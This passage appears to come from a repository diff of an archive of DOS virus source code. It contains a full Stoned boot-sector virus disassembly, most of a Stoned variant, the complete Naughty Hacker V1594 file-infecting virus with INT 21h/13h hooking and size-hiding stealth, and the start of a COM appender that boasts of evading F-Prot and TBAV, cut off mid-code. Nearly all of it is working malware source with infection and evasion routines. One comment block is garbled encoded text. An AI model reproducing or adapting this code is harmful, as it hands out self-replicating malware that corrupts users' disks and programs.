REPZ MOVSB ; Copy C-disk boot sector
MOV AX,301H ; Write one sector
MOV BX,0 ; Write this sector
MOV CX,1 ; Track zero, sector 1
MOV DX,80H ; Side zero, drive C
INT 13H ; Disk I/O
JMP SHORT BP0150 ; Pass control to boot sector
MESSAGE DB 7, 'Your PC is now Stoned!', 7, 0DH, 0AH, 0AH, 0
DB 'LEGALISE MARIJUANA!'
ENDADR EQU $-1
CODE ENDS
END START

; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> and Remember Don't Forget to Call <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; ÄÄÄÄÄÄÄÄÄÄÄÄ> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <ÄÄÄÄÄÄÄÄÄÄ
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

View File

@ -0,0 +1,280 @@
page 65,132
title The 'New Zealand' Virus (Update)
; ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
; º British Computer Virus Research Centre º
; º 12 Guildford Street, Brighton, East Sussex, BN1 3LS, England º
; º Telephone: Domestic 0273-26105, International +44-273-26105 º
; º º
; º The 'New Zealand' Virus (Update) º
; º Disassembled by Joe Hirst, March 1989 º
; º º
; º Copyright (c) Joe Hirst 1989. º
; º º
; º This listing is only to be made available to virus researchers º
; º or software writers on a need-to-know basis. º
; ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
; This disassembly is derived from an inconsistently updated
; assembler version which arrived in this country with the original
; executable program.
; The virus consists of a boot sector only. The original boot sector
; is kept at track zero, head one, sector three on a floppy disk, or
; track zero, head zero, sector seven on a hard disk.
; The program requires an origin address of 7C00H, as it is designed
; to load and run as a boot sector.
RAM SEGMENT AT 0
; System data
ORG 4CH
BW004C DW ? ; Interrupt 19 (13H) offset
BW004E DW ? ; Interrupt 19 (13H) segment
ORG 413H
BW0413 DW ? ; Total RAM size
ORG 43FH
BB043F DB ? ; Drive Motor Flag
ORG 46CH
BB046C DB ? ; System clock
ORG 7C0AH
I13_OF DW ?
I13_SG DW ?
HICOOF DW ?
HICOSG DW ? ; High core segment
RAM ENDS
CODE SEGMENT BYTE PUBLIC 'CODE'
ASSUME CS:CODE,DS:RAM
START: DB 0EAH ; Far jump to next byte
DW BP0010, 07C0H
BP0010: JMP BP0110
DRIVEN DB 0 ; Drive number (A=0, B=1, C=2)
; Original Int 13H address
INT_13 EQU THIS DWORD
DW ?
DW ?
; Branch address in high core
HIGHCO EQU THIS DWORD
DW BP0120
DW 0
; Boot sector processing address
BOOTST EQU THIS DWORD
DW 07C00H
DW 0
; Interrupt 13H disk I/O routine
BP0020: PUSH DS
PUSH AX
CMP AH,2 ; Sub-function 2
JB BP0030 ; Pass on if below
CMP AH,4 ; Sub-function 4
JNB BP0030 ; Pass on if not below
OR DL,DL ; Is drive A
JNZ BP0030 ; Pass on if not
XOR AX,AX ; \ Segment zero
MOV DS,AX ; /
MOV AL,BB043F ; Get motor timeout counter
TEST AL,1 ; Is drive zero running
JNZ BP0030 ; Branch if not
CALL BP0040 ; Call infection routine
BP0030: POP AX
POP DS
JMP INT_13 ; Pass control to Int 13H
; Infection routine
BP0040: PUSH BX
PUSH CX
PUSH DX
PUSH ES
PUSH SI
PUSH DI
MOV SI,4 ; Retry count
BP0050: MOV AX,201H ; Read one sector
PUSH CS ; \ Set ES to CS
POP ES ; /
MOV BX,200H ; Boot sector buffer
XOR CX,CX ; Clear register
MOV DX,CX ; Head zero, drive A
INC CX ; Track zero, sector 1
PUSHF ; Fake an interrupt
CALL INT_13 ; Call Int 13H
JNB BP0060 ; Branch if no error
XOR AX,AX ; Reset disk sub-system
PUSHF ; Fake an interrupt
CALL INT_13 ; Call Int 13H
DEC SI ; Decrement retry count
JNZ BP0050 ; Retry
JMP BP0080 ; No more retries
BP0060: XOR SI,SI ; Start of program
MOV DI,200H ; Boot sector buffer
CLD
PUSH CS ; \ Set DS to CS
POP DS ; /
LODSW ; Get first word
CMP AX,[DI] ; Test if same
JNE BP0070 ; Install if not
LODSW ; Get second word
CMP AX,[DI+2] ; Test if same
JE BP0080 ; Branch if same
BP0070: MOV AX,301H ; Write one sector
MOV BX,200H ; Boot sector buffer
MOV CL,3 ; Sector 3
MOV DH,1 ; Head 1
PUSHF ; Fake an interrupt
CALL INT_13 ; Call Int 13H
JB BP0080 ; Branch if error
MOV AX,301H ; Write one sector
XOR BX,BX ; This sector
MOV CL,1 ; Track zero, sector 1
XOR DX,DX ; Head zero, drive A
PUSHF ; Fake an interrupt
CALL INT_13 ; Call Int 13H
BP0080: POP DI
POP SI
POP ES
POP DX
POP CX
POP BX
RET
; Install in high core
BP0110: XOR AX,AX ; \ Segment zero
MOV DS,AX ; /
CLI
MOV SS,AX ; \ Set stack to boot sector area
MOV SP,7C00H ; /
STI
MOV AX,BW004C ; Get Int 13H offset
MOV I13_OF,AX ; Store in jump offset
MOV AX,BW004E ; Get Int 13H segment
MOV I13_SG,AX ; Store in jump segment
MOV AX,BW0413 ; Get total RAM size
DEC AX ; \ Subtract 2k
DEC AX ; /
MOV BW0413,AX ; Replace total RAM size
MOV CL,6 ; Bits to move
SHL AX,CL ; Convert to Segment
MOV ES,AX ; Set ES to segment
MOV HICOSG,AX ; Move segment to jump address
MOV AX,OFFSET BP0020 ; Get Int 13H routine address
MOV BW004C,AX ; Set new Int 13H offset
MOV BW004E,ES ; Set new Int 13H segment
MOV CX,OFFSET ENDADR ; Load length of program
PUSH CS ; \ Set DS to CS
POP DS ; /
XOR SI,SI ; \ Set pointers to zero
MOV DI,SI ; /
CLD
REP MOVSB ; Copy program to high core
JMP HIGHCO ; Branch to next instruc in high core
; Continue processing in high core
BP0120: MOV AX,0 ; Reset disk sub-system
INT 13H ; Disk I/O
XOR AX,AX ; \ Segment zero
MOV ES,AX ; /
ASSUME DS:NOTHING,ES:RAM
MOV AX,201H ; Read one sector
MOV BX,7C00H ; Boot sector buffer address
CMP DRIVEN,0 ; Test drive is A
JE BP0130 ; Branch if yes
MOV CX,7 ; Track zero, sector 7
MOV DX,80H ; Side zero, drive C
INT 13H ; Disk I/O
JMP BP0150 ; Pass control to boot sector
; Floppy disk
BP0130: MOV CX,3 ; Track zero, sector 3
MOV DX,100H ; Side one, drive A
INT 13H ; Disk I/O
JB BP0150 ; Branch if error
TEST BB046C,7 ; Test low byte of time
JNZ BP0140 ; Branch if not 7
MOV SI,OFFSET MESSAGE ; Load message address
PUSH CS ; \ Set DS to CS
POP DS ; /
BP0135: LODSB ; Get next byte of message
OR AL,AL ; Is it zero
JZ BP0140 ; Branch if yes
MOV AH,0EH ; Write TTY mode
MOV BH,0
INT 10H ; VDU I/O
JMP BP0135 ; Process next byte
BP0140: PUSH CS ; \ Set ES to CS
POP ES ; /
MOV AX,201H ; Read one sector
MOV BX,200H ; C-disk boot sector buffer
MOV CL,1 ; Sector 1
MOV DX,80H ; Side zero, drive C
INT 13H ; Disk I/O
JB BP0150 ; Branch if error
PUSH CS ; \ Set DS to CS
POP DS ; /
MOV SI,200H ; C-disk boot sector buffer
MOV DI,0 ; Start of program
LODSW ; Get first word
CMP AX,[DI] ; Compare to C-disk
JNE BP0160 ; Install on C-disk if different
LODSW ; Get second word
CMP AX,[DI+2] ; Compare to C-disk
JNE BP0160 ; Install on C-disk if different
BP0150: MOV DRIVEN,0 ; Drive A
JMP BOOTST ; Pass control to boot sector
; Install on C-disk
BP0160: MOV DRIVEN,2 ; Drive C
MOV AX,301H ; Write one sector
MOV BX,200H ; C-disk boot sector buffer
MOV CX,7 ; Track zero, sector 7
MOV DX,80H ; side zero, drive C
INT 13H ; Disk I/O
JB BP0150 ; Branch if error
PUSH CS ; \ Set DS to CS
POP DS ; /
PUSH CS ; \ Set ES to CS
POP ES ; /
MOV SI,OFFSET MESS02+200H ; Target offset
MOV DI,OFFSET MESS02 ; Source offset
MOV CX,OFFSET 400H-MESS02 ; Length to move
REP MOVSB ; Copy C-disk boot sector
MOV AX,301H ; Write one sector
XOR BX,BX ; Write this sector
INC CL ; Track zero, sector 1
MOV DX,80H ; Side zero, drive C
INT 13H ; Disk I/O
JMP BP0150 ; Pass control to boot sector
MESSAGE DB 7, 'Your PC is now Stoned!', 7, 0DH, 0AH, 0AH, 0
MESS02 DB 'LEGALISE MARIJUANA!'
ENDADR EQU $
CODE ENDS
END START

; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> and Remember Don't Forget to Call <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; ÄÄÄÄÄÄÄÄÄÄÄÄ> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <ÄÄÄÄÄÄÄÄÄÄ
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

View File

@ -0,0 +1,958 @@
.radix 16
;*********************************
;* The Naughty Hacker's virus *
;*VERSION 3.1 (And not the last.)*
;* ( V1594 ) *
;* Finished on the 10.04.1991 *
;* *
;* Glad to meet you friend! *
;* *
;*********************************
;
; "It's hard to find a black cat in a dark room, especially if it's not there."
;
; <20>°¥¤ ¢ ± ±²®¨ ®°¨£¨­ «­¨¿ ²¥ª±² ­  V1594 ( ª® ¬®¦¥ ² ª  ¤  ª ¦¥ !@!?!).
; €¢²®°º² (Š®­¿) ¯°¥¤¢ °¨²¥«­® ¯°¥¤³¯°¥¦¤ ¢ ,·¥ ­¥ ¦¥« ¥ ²®§¨ ²¥ª±² ¤  ¡º¤¥
; ¯°®¬¥­¿­ ¯® ­¨ª ªº¢ ­ ·¨­, ­®  ª® ¦¥« ¥²¥ ¤  £® ³±º¢º°¸¥­±²¢ ²¥ ¬®¦¥ ¤ 
; ­ ¯° ¢¨²¥ ²®¢  ­ ¯º«­® ±¢®¡®¤­® ¯°¨ ¥¤¨­±²¢¥­®²® ³±«®¢¨¥, ·¥ ¢ ¯®«³·¥­ ² 
; ­®¢  ¢¥°±¨¿ ­¿¬  ¤  ¨¬  ­¨ª ª¢¨ ° §°³¸¨²¥«­¨ ´³­ª¶¨¨.
; €¢²®°º² ­¥ ¯®¥¬  ­¨ª ª¢  ®²£®¢®°­®±² §  ¹¥²¨ ¯°¨·¨­¥­¨ ®² ˆ<E2809A>€ ......
;
; „  ±¥ ª®¬¯¨«¨°  ­  TURBO ASSEMBLER Ver 1.03B. ’ ª  ¯®«³·¥­¨¿ ª®¤ ¥ £®²®¢
; §  ±² °²¨° ­¥ ¨ ....
;
; <20>®§¤° ¢¨ ¤® ¢±¨·ª¨ VIRUSWRITERS !
;
;
; To be continued ...
;
call Start_Virus
mov dx,offset Hellomsg
mov ah,9
int 21
int 20
Hellomsg db 0a,0dh,7,'HI WORLD,GIVE ME COMMAND.COM !!!',0a,0dh,7,'$'
Virus_lenght equ endcode-adjust
alllen equ buffer-adjust
adjust label word
IP_save label word
First_3 Label Byte
;For .COM file here stores
ret
nop
nop
CS_save dw ? ;The first 3 bytes
SP_save dw ?
SS_save dw 0FFFF ;0FFFF For COM files
signature:
db 'N.Hacker' ;It's me the HORSE !!!
date_stamp:
dd 10041991 ;10.04.1991
Run_The_Program:
pop ds ;Restore saved ds,es,ax
pop es ;ds=es=PSP
pop ax
cmp cs:[bp+SS_save-adjust],0FFFF ;Run the infected program
je Run_COM_File
mov ax,ds ;Calculate load segment
add ax,10
mov bx,ax
add ax,cs:[bp+CS_save-adjust] ;Calculate CS value
add bx,cs:[bp+SS_save-adjust] ;Calculate SS value
mov ss,bx ;Run .EXE program
mov sp,word ptr cs:[bp+SP_save-adjust]
push ax
push word ptr cs:[bp+IP_save-adjust]
retf
Run_COM_File:
mov di,100
mov si,bp
movsb ;Restore the first 3 bytes
movsw ;Run .COM program
mov bx,100
push bx
sub bh,bh
ret
;*******************************************************************
; *
; This is the program entry.... *
; *
;*******************************************************************
Start_Virus:
call Get_IP ;This is to get the IP value.
Get_IP:
pop bp ;Get it in BP.
sub bp,Get_IP-adjust ;adjust BP point to the begining
cld ;Clear direction flag
push ax ;Save some registres
push es
push ds
mov es,[2] ;get last segment
mov di,Run_The_Program-adjust ;(last segment=segment of virus)
push ds
push cs
pop ds
mov si,di
add si,bp
mov cx,endcode-Run_The_Program
rep cmpsb ;check if virus is in memory
pop ds
push ds
pop es
je Run_The_Program ;If so then run the program
mov word ptr cs:[bp+handle-adjust],0ffff ;set handle_save
mov ax,ds
dec ax
mov ds,ax ;ds=MCB
sub word ptr [3],80 ;Set block size
sub word ptr [12],80 ;Set last segment
mov es,[12] ;steal some memory (2K)
push cs
pop ds
sub di,di
mov si,bp ;prepare to move in high mem
mov cx,alllen ;will move virus+variables
rep movsb ;copy there
push cs
mov ax,Run_The_Program-adjust
add ax,bp
push ax
push es
mov ax,offset Set_Vectors-adjust ;Set vectors
push ax
retf
Find_First_Next:
call Call_Original_INT_21h ;fuck when do the dir command
push bx
push es
push ax
or al,al
jnz Go_Out_ ;if error
mov ah,2f ;get DTA address
int 21
mov al,byte ptr es:[bx+30d] ;Seconds in al
and al,31d ;Mask seconds
cmp al,60d/2 ;Seconds=60?
jne Go_Out_
mov ax,es:[bx+36d]
mov dx,es:[bx+38d] ;Check File size
cmp ax,Virus_lenght*2
sbb dx,0
jb Go_Out_
Adjust_Size:
sub es:[bx+28d+7+1],Virus_lenght ;Adjust size
sbb es:[bx+28d+2+7+1],0
Go_Out_:
pop ax
pop es ;Return to caller
pop bx
iret
Find_First_Next1:
call Call_Original_INT_21h
pushf
push ax
push bx ;fuck again
push es
jc Go_Out_1
mov ah,2f
int 21
mov al,es:[bx+22d]
and al,31d
cmp al,60d/2
jne Go_Out_1
mov ax,es:[bx+26d]
mov dx,es:[bx+28d]
cmp ax,Virus_lenght*2
sbb dx,0
jb Go_Out_1
Adjust_Size1:
sub es:[bx+26d],Virus_lenght
sbb es:[bx+28d],0
Go_Out_1:
pop es
pop bx
pop ax ; Dummy proc far
popf ; ret 2
db 0ca,2,0 ;retf 2 ; Dummy endp => BUT too long...
;*************************************
; *
; Int 21 entry point. *
; *
;*************************************
INT_21h_Entry_Point:
cmp ah,11
je Find_First_Next ;Find First Next (old)
cmp ah,12
je Find_First_Next
cmp ah,4e ;Find First Next (new)
je Find_First_Next1
cmp ah,4f
je Find_First_Next1
cmp ah,6ch
jne not_create ;Create (4.X)
test bl,1
jz not_create
jnz create
not_create:
cmp ah,3ch ;Create (3.X)
je create
cmp ah,5bh
je create
push ax
push bx
push cx
push dx
push si
push di
push bp
push ds
push es
mov byte ptr cs:[function-adjust],ah
cmp ah,6ch ;Open (4.X)
je create_
cmp ah,3e ;Close
je close_
cmp ax,4b00 ;Exec
je Function_4Bh
cmp ah,17 ;Rename (old)
je ren_FCB
cmp ah,56 ;Rename (new)
je Function_4Bh
cmp ah,43 ;Change attributes
je Function_4Bh
cmp ah,3dh ;Open (3.X)
je open
Return_Control:
pop es
pop ds
pop bp
pop di
pop si
pop dx
pop cx
pop bx
pop ax
Go_out:
jmp dword ptr cs:[current_21h-adjust] ;go to the old int 21
create_:
or bl,bl ;Create file?
jnz Return_Control
mov dx,si
jmp Function_4Bh
ren_FCB:
cld
inc dx
mov si,dx
mov di,offset buffer-adjust
push di
push cs
pop es ;Convert FCB format Fname into ASCIIZ string
mov cx,8
rep movsb
mov al,'.'
stosb
mov cx,3
rep movsb
sub al,al
stosb
pop dx
push cs
pop ds
jmp Function_4Bh
create:
; cmp word ptr cs:[handle-adjust],0ffff
; jne Go_out
call Call_Original_INT_21h
jc Error
mov word ptr cs:[handle-adjust],ax
jnc Exit_
Error:
mov word ptr cs:[handle-adjust],0ffff ;Useless
Exit_:
; retf 2
db 0ca,2,0
close_:
cmp word ptr cs:[handle-adjust],0ffff
je Return_Control
cmp bx,word ptr cs:[handle-adjust]
jne Return_Control
mov ah,45
call Infect_It
mov word ptr cs:[handle-adjust],0ffff
jmp Return_Control
Function_4Bh:
mov ax,3d00h
open:
call Infect_It
jmp Return_Control
;******************************************
; *
; This infects the programs... *
; *
;******************************************
Infect_It:
call Call_Original_INT_21h ;this is the infecting part
jnc No_error
ret
No_error:
xchg ax,bp
mov byte ptr cs:[flag-adjust],0
mov ah,54
call Call_Original_INT_21h
mov byte ptr cs:[veri-adjust],al
cmp al,1 ;Switch off verify...
jne Go_On_Setting
mov ax,2e00
call Call_Original_INT_21h
Go_On_Setting:
push cs
push cs
pop ds
pop es
mov dx,offset DOS_13h-adjust
mov bx,dx ;Set New DOS int 13h
mov ah,13
call Call_Original_INT_2Fh
mov ax,3513
call Call_Original_INT_21h
push bx
push es
mov word ptr cs:[current_13h-adjust],bx
mov word ptr cs:[current_13h-adjust+2],es
mov ah,25
mov dx,INT_13h_entry-adjust ;Set int 13h
push cs
pop ds
call Call_Original_INT_21h
mov ax,3524
call Call_Original_INT_21h
push bx
push es
mov ah,25
mov dx,INT_24h_entry-adjust ;Set int 24h (Useless maybe...).
call Call_Original_INT_21h
xchg bx,bp
push bx
mov ax,1220
call Call_Original_INT_2Fh
mov bl,es:[di] ;Remember the good old V512 ?
mov ax,1216
call Call_Original_INT_2Fh
pop bx
add di,11
mov byte ptr es:[di-15d],2
mov ax,es:[di]
mov dx,es:[di+2]
cmp ax,Virus_lenght+1
sbb dx,0
jnb Go_on
jmp close
Go_on:
cmp byte ptr cs:[function-adjust],3dh
je Scan_name
cmp byte ptr cs:[function-adjust],6ch
jne Dont_Scan_Name
Scan_name:
push di
add di,0f
mov si,offset fname-adjust ;wasn't that the last opened file?
cld
mov cx,8+3
rep cmpsb
pop di
jne Dont_Scan_Name
jmp close
Dont_Scan_Name:
cmp es:[di+18],'MO'
jne Check_For_EXE ;check for .COM file
cmp byte ptr es:[di+17],'C'
jne Check_For_EXE
jmp com
Check_For_EXE:
cmp es:[di+18],'EX'
jne Not_good ;check for .EXE file
cmp byte ptr es:[di+17],'E'
je Check_For_Valid_EXE
Not_good:
jmp close
Check_For_Valid_EXE:
call Read_First_18
cmp word ptr [si],'ZM'
je Valid_EXE ;check for valid .EXE file
cmp word ptr [si],'MZ'
je Valid_EXE
jmp close
Valid_EXE:
cmp word ptr [si+0c],0ffff ;only low-mem .EXE
je Low_Mem
jmp close
Low_Mem:
mov cx,[si+16]
add cx,[si+8] ;Something common with EDDIE..
mov ax,10
mul cx
add ax,[si+14]
adc dx,0
mov cx,es:[di]
sub cx,ax
xchg cx,ax
mov cx,es:[di+2]
sbb cx,dx
or cx,cx
jnz Not_Infected_EXE ;infected?
cmp ax,(endcode-Start_Virus)
jne Not_Infected_EXE
jmp close
Not_Infected_EXE:
mov ax,[si+10]
mov [SP_save-adjust],ax
mov ax,[si+0e]
mov [SS_save-adjust],ax
mov ax,[si+14]
mov [IP_save-adjust],ax
mov ax,[si+16]
mov [CS_save-adjust],ax ;set the new header
mov ax,es:[di]
mov dx,es:[di+2]
add ax,Virus_lenght
adc dx,0
mov cx,200 ;(C) by Lubo & Jan...
div cx
mov [si+2],dx
or dx,dx
jz OK_MOD
inc ax
OK_MOD:
mov [si+4],ax
mov ax,es:[di]
mov dx,es:[di+2]
mov cx,4
push ax
Compute:
shr dx,1
rcr ax,1
loop Compute
pop dx
and dx,0f
sub ax,[si+8]
add dx,Start_Virus-adjust
adc ax,0
mov [si+14],dx
mov [si+16],ax
add ax,(Virus_lenght)/16d+1
mov [si+0eh],ax
mov [si+10],100
write:
mov ax,5700
call Call_Original_INT_21h
push cx
push dx
sub cx,cx
mov es:[di+4],cx
mov es:[di+6],cx
mov cl,20
xchg cl,byte ptr es:[di-0dh]
push cx
mov ah,40 ;this writes the first few bytes and glues the virus
mov dx,buffer-adjust
mov cx,18
call Call_Original_INT_21h
mov ax,es:[di]
mov es:[di+4],ax
mov ax,es:[di+2]
mov es:[di+6],ax
call Check_For_COMMAND ;(C)
jne Dont_Adjust_Size
sub es:[di+4],Virus_lenght
sbb es:[di+6],0 ;???????????????????????????????
Dont_Adjust_Size:
mov ah,40
sub dx,dx
mov cx,Virus_lenght
call Call_Original_INT_21h
pop cx
mov byte ptr es:[di-0dh],cl
pop dx
pop cx
cmp byte ptr cs:[flag-adjust],0ff
je Set_Time_and_Date
exit:
call Check_For_COMMAND
je Set_Time_and_Date
and cl,11100000b
or cl,60d/2
Set_Time_and_Date:
mov ax,5701
call Call_Original_INT_21h
close:
mov ah,3e
call Call_Original_INT_21h
push es
pop ds
mov si,di
add si,0f
mov di,fname-adjust
push cs
pop es
mov cx,8+3 ;save the fname to a quit place
cld
rep movsb
push cs
pop ds
cmp byte ptr cs:[flag-adjust],0ff
jne Dont_Clear_Buffers
mov ah,0dh ;if error occured->clear disk buffers
call Call_Original_INT_21h
Dont_Clear_Buffers:
les bx,[org_13h-adjust]
lds dx,[org_13h-adjust]
mov ah,13
call Call_Original_INT_2Fh
cmp byte ptr cs:[veri-adjust],1
jne Restore_Vectors
mov ax,2e01
call Call_Original_INT_21h
Restore_Vectors:
sub ax,ax
mov ds,ax
pop [24*4+2]
pop [24*4]
pop [13*4+2]
pop [13*4] ;restore vectors and return
ret
com:
test byte ptr es:[di-0dh],4 ;if it is a system file
jnz Not_OK_COM_File ;I had some problems here with
;V1160 & V1776 (with the ball)
cmp es:[di],65535d-Virus_lenght*2-100
ja Not_OK_COM_File
call Read_First_18
cmp byte ptr [si],0E9
jne OK_COM_file
mov ax,es:[di]
sub ax,[si+1] ;infected?
cmp ax,(endcode-Start_Virus+3)
je Not_OK_COM_File
OK_COM_file:
mov word ptr [SS_save-adjust],0FFFF
push si
lodsb
mov word ptr [First_3-adjust],ax
lodsw
mov word ptr [First_3-adjust+1],ax
pop si
mov ax,es:[di]
add ax,Start_Virus-adjust-3
call Check_For_COMMAND
jne Normally
sub ax,Virus_lenght
Normally:
mov byte ptr [si],0E9
mov word ptr [si+1],ax
jmp write
Not_OK_COM_File:
jmp close
Set_Vectors:
sub ax,ax
mov ds,ax
push [1*4]
push [1*4+2] ; <= (C) by N.Hacker.
pushf
pushf
pushf
pushf
mov byte ptr cs:[flag-adjust],ah
mov byte ptr cs:[my_flag-adjust],ah
mov word ptr cs:[limit-adjust],300
mov word ptr cs:[mem_-adjust],org_21h-adjust
mov [1*4],offset trap-adjust
mov [1*4+2],cs
call set_trace
mov ax,3521
call dword ptr [21h*4]
mov byte ptr cs:[flag-adjust],0
mov word ptr cs:[mem_-adjust],org_2fh-adjust
call set_trace
mov ax,1200
call dword ptr [2fh*4] ;do trace int 2f
mov byte ptr cs:[flag-adjust],0
mov byte ptr cs:[my_flag-adjust],0FF
mov word ptr cs:[limit-adjust],0C800
mov word ptr cs:[mem_-adjust],org_13h-adjust
call set_trace
sub ax,ax
mov dl,al
call dword ptr [13h*4] ;do trace int 13
mov byte ptr cs:[flag-adjust],0
mov word ptr cs:[limit-adjust],0F000
mov word ptr cs:[mem_-adjust],Floppy_org_13h-adjust
call set_trace
sub ax,ax
mov dl,al
call dword ptr [13h*4]
pop [1*4+2]
pop [1*4]
les ax,[21*4]
mov word ptr cs:[current_21h-adjust],ax ;get old int 21
mov word ptr cs:[current_21h-adjust+2],es
mov [21*4], INT_21h_Entry_Point-adjust ;set it
mov [21*4+2],cs
retf
set_trace:
pushf
pop ax
or ax,100
push ax
popf
ret
trap:
push bp
mov bp,sp
push bx
push di
cmp byte ptr cs:[flag-adjust],0ff
je off
mov di,word ptr cs:[mem_-adjust]
mov bx,word ptr cs:[limit-adjust]
cmp [bp+4],bx
pushf
cmp word ptr cs:[my_flag-adjust],0ff
jne It_Is_JA
popf
jb Go_out_of_trap
jmp It_Is_JB
It_Is_JA:
popf
ja Go_out_of_trap
It_Is_JB:
mov bx,[bp+2]
mov word ptr cs:[di],bx
mov bx,[bp+4]
mov word ptr cs:[di+2],bx
mov byte ptr cs:[flag-adjust],0ff
off:
and [bp+6],0feff
Go_out_of_trap:
pop di
pop bx
pop bp
iret
Call_Original_INT_21h:
pushf
call dword ptr cs:[org_21h-adjust]
ret
Call_Original_INT_2Fh:
pushf
call dword ptr cs:[org_2fh-adjust]
ret
INT_24h_entry:
mov al,3
iret
;**************************
; (C) by N.Hacker. *
; (bellow) *
;**************************
INT_13h_entry:
mov byte ptr cs:[next_flag-adjust],0
cmp ah,2
jne Other
cmp byte ptr cs:[function-adjust],03Eh
jne Dont_hide
dec byte ptr cs:[next_flag-adjust]
inc ah
jmp Dont_hide
Other:
cmp ah,3
jne Dont_hide
cmp byte ptr cs:[flag-adjust],0ff
je no_error_
cmp byte ptr cs:[function-adjust],03Eh
je Dont_hide
inc byte ptr cs:[next_flag-adjust]
dec ah
Dont_hide:
pushf
call dword ptr cs:[current_13h-adjust]
jnc no_error_
mov byte ptr cs:[flag-adjust],0ff
no_error_:
clc
db 0ca,02,0 ;retf 2
DOS_13h:
cmp byte ptr cs:[next_flag-adjust],0
je OK
cmp ah,2
je Next
cmp ah,3
jne OK
Next:
cmp byte ptr cs:[next_flag-adjust],1
jne Read
inc ah
jne OK
Read:
dec ah
OK:
test dl,80
jz Floppy
jmp dword ptr cs:[org_13h-adjust]
Floppy:
jmp dword ptr cs:[Floppy_org_13h-adjust]
Read_First_18:
sub ax,ax
mov es:[di+4],ax
mov es:[di+6],ax
mov ah,3f
mov cx,18
mov dx,buffer-adjust
mov si,dx
call Call_Original_INT_21h
ret
Check_For_COMMAND:
cmp es:[di+0f],'OC'
jne Not_COMMAND
cmp es:[di+11],'MM'
jne Not_COMMAND
cmp es:[di+13],'NA'
jne Not_COMMAND ;check for command.com
cmp es:[di+15],' D'
jne Not_COMMAND
cmp es:[di+17],'OC'
jne Not_COMMAND
cmp byte ptr es:[di+19],'M'
Not_COMMAND:
ret
endcode label word
current_21h dd ?
null dd ? ;I forgot to remove this variable...
current_13h dd ?
org_2fh dd ?
org_13h dd ?
org_21h dd ?
Floppy_org_13h dd ?
flag db ? ;0ff if error occures
veri db ?
handle dw ?
fname db 8+3 dup (?)
function db ?
my_flag db ?
limit dw ?
mem_ dw ?
next_flag db ?
buffer label word


View File

@ -0,0 +1,119 @@
;
; Simple com appender destined to be another SillyC
; so im putting the file name in as the virus name .. nuff said
;
; Unscannable by F-Prot & by TBAV with no flags
; Uses a novel way of beating S flag
;
; Scans as a VCL/IVP variant with AVP/DSAV
;
.model tiny
.code
org 100h
begin:
db 0E9h
dw offset start-103h
start:
call delta
delta:
pop bp
sub bp,offset delta
and word ptr [begin],0
and byte ptr [begin+2],0
or ah,[old_bytes+bp]
or al,[old_bytes+bp+1]
or bh,[old_bytes+bp+2]
or byte ptr [begin],ah
or byte ptr [begin+1],al
or byte ptr [begin+2],bh
and byte ptr [f_string+bp],7Fh
and byte ptr [f_string+bp+1],7Fh
and byte ptr [f_string+bp+2],7Fh
and byte ptr [f_string+bp+3],7Fh
and byte ptr [f_string+bp+4],7Fh
mov dh,1ah
lea ax,[bp+offset dta]
xchg ax,dx
int 21h
mov dh,4eh
find_next:
xor cx,cx
lea ax,[bp+offset f_string]
xchg ax,dx
int 21h
jc done2
mov cl,[dta+1ah+bp]
mov ch,[dta+1bh+bp]
sub cx,3
mov [new_bytes+1+bp],cl
mov [new_bytes+2+bp],ch
mov dx,3D02h
lea ax,[bp+offset dta+1Eh]
xchg ax,dx
int 21h
xchg ax,bx
mov dh,3fh
mov cx,3
lea ax,[bp+offset old_bytes]
xchg ax,dx
int 21h
cmp [bp+old_bytes],0E9h
jne okay
mov ah,3eh
int 21h
mov dh,4fh
jmp find_next
done2:
jmp done
okay:
mov dx,4200h
xor cx,cx
xor ax,ax
xchg ax,dx
int 21h
mov dh,40h
mov cx,3
lea ax,[bp+offset new_bytes]
xchg ax,dx
and byte ptr [n1+bp+1],7fh
n1:
int 0A1h
mov byte ptr [n1+bp+1],0A1h
mov dx,4202h
xor cx,cx
xor ax,ax
xchg ax,dx
int 21h
mov dh,40h
mov cx, offset theend - offset start + 56
or byte ptr [f_string+bp],80h
or byte ptr [f_string+bp+1],80h
or byte ptr [f_string+bp+2],80h
or byte ptr [f_string+bp+3],80h
or byte ptr [f_string+bp+4],80h
lea ax,[bp+offset start]
xchg ax,dx
and byte ptr [n2+bp+1],7fh
n2:
int 0A1h
mov ah,3Eh
int 21h
done:
mov ax,101h
xor bx,bx
xchg ax,bx
xor cx,cx
